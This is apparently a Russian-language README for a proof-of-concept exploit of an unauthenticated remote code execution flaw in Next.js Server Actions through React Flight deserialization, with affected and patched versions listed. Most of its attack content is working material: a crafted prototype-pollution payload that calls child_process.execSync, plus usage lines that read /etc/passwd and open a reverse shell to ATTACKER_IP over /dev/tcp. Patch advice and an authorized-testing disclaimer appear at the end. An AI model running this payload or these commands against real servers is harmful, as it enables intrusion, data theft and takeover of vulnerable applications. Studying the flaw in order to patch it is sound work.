
Эксплойт-доказательство концепции для критической неаутентифицированной RCE в Server Actions Next.js через десериализацию протокола React Flight, позволяющий выполнение произвольных команд на уязвимых серверах.
Критическая уязвимость в Next.js Server Actions, позволяющая неаутентифицированное удаленное выполнение кода через десериализацию React Flight Protocol
Этот репозиторий содержит Концептуальное доказательство (PoC) критической уязвимости RCE, затрагивающей приложения Next.js, использующие Server Actions (React Server Functions).
| Деталь | Информация |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| Серьезность | Критическая (CVSS 10.0) |
| Затронутые React | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Затронутые Next.js | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| НЕ затронуты | Next.js 14.x stable, 13.x, Pages Router, Edge Runtime |
| Исправлено в Next.js | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| Исправлено в React | 19.0.1, 19.1.2, 19.2.1 |
| Тип | Удаленное выполнение кода (RCE) |
| Требуется аутентификация | Нет |
Уязвимость существует в том, как React Flight Protocol десериализует блоки при обработке Server Actions. Злоумышленник может использовать прототипное загрязнение через специально созданные данные формы, чтобы:
Function через обход цепочки прототипов (__proto__)Это происходит до какой-либо проверки серверного действия, что делает уязвимость эксплуатируемой в любом приложении Next.js с включенными Server Actions.
Любое приложение Next.js уязвимо, если:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
Вывод команды отображается в поле digest.
Эксплойт использует механизм разрешения блоков протокола React Flight:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Цепочка атаки:
$1:__proto__:thenFunction через $1:constructor:constructor_prefixНемедленно обновитесь:
npm install next@latest
# or
pnpm update next
Исправленные версии: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Примечание: Next.js 14.x стабильные и 13.x НЕ уязвимы.
⚠️ Этот PoC предназначен только для образовательных целей и авторизованного тестирования безопасности.
Несанкционированный доступ к компьютерным системам незаконен. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение. Авторы не несут ответственности за любое неправомерное использование.
Основано на оригинальном исследовании @msanft. Вся заслуга в обнаружении уязвимости и создании первоначального PoC принадлежит им.
Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE